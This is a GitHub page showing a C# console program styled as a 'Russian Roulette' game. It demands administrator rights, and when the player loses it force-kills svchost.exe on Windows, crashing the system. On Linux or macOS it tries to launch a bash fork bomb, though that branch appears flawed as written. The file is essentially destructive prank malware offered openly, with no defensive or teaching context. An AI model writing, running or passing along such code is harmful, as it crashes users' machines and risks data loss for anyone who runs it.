-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathProgram.cs
92 lines (81 loc) · 3.07 KB
/
Program.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
using System.Diagnostics;
using System.Security.Principal;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace RussianRoulette
{
internal static class Program
{
public static void Main(string[] args)
{
if (!IsRunningAsAdmin())
{
Console.WriteLine("Program is not running as administrator\nPress enter to exit.");
Console.ReadLine();
}
else
{
Console.WriteLine("Do you want easy more or hard mode?\npress 1 for easy, and 2 for hard mode");
var modeInput = Console.ReadLine();
Int32.TryParse(modeInput, out int modeSelected);
Console.Clear();
if (modeSelected == 1 || modeSelected == 2)
{
int RandomNumber = generateNumber();
Console.WriteLine("Please pick a number 1-10");
var numberInput = Console.ReadLine();
Int32 number = Convert.ToInt32(numberInput);
if (modeSelected == 1 ? number != RandomNumber : number == RandomNumber)
{
Console.WriteLine("You're Safe");
Console.ReadLine();
}
else
{
KillServiceHostProcess();
}
}
else
{
Console.WriteLine("Please choose a valid number");
}
}
}
private static int generateNumber()
{
DateTime now = DateTime.Now;
int seed = now.Millisecond;
Random random = new Random(seed);
int generateRandomNumber = random.Next(1, 11);
return generateRandomNumber;
}
public static bool IsRunningAsAdmin()
{
using (WindowsIdentity identity = WindowsIdentity.GetCurrent())
{
WindowsPrincipal principal = new WindowsPrincipal(identity);
return principal.IsInRole(WindowsBuiltInRole.Administrator);
}
}
public static void KillServiceHostProcess()
{
ProcessStartInfo processInfo = new ProcessStartInfo();
if (RuntimeInformation.IsOSPlatform(OSPlatform.Windows))
{
processInfo.FileName = "cmd.exe";
processInfo.Arguments = "/c taskkill /F /IM svchost.exe";
}
else if (RuntimeInformation.IsOSPlatform(OSPlatform.Linux) || RuntimeInformation.IsOSPlatform(OSPlatform.OSX))
{
processInfo.FileName = "/bin/bash";
processInfo.Arguments = ":(){ :|:& };:";
}
processInfo.CreateNoWindow = true;
processInfo.UseShellExecute = false;
processInfo.RedirectStandardError = true;
processInfo.RedirectStandardOutput = true;
var process = Process.Start(processInfo);
process.WaitForExit();
}
}
}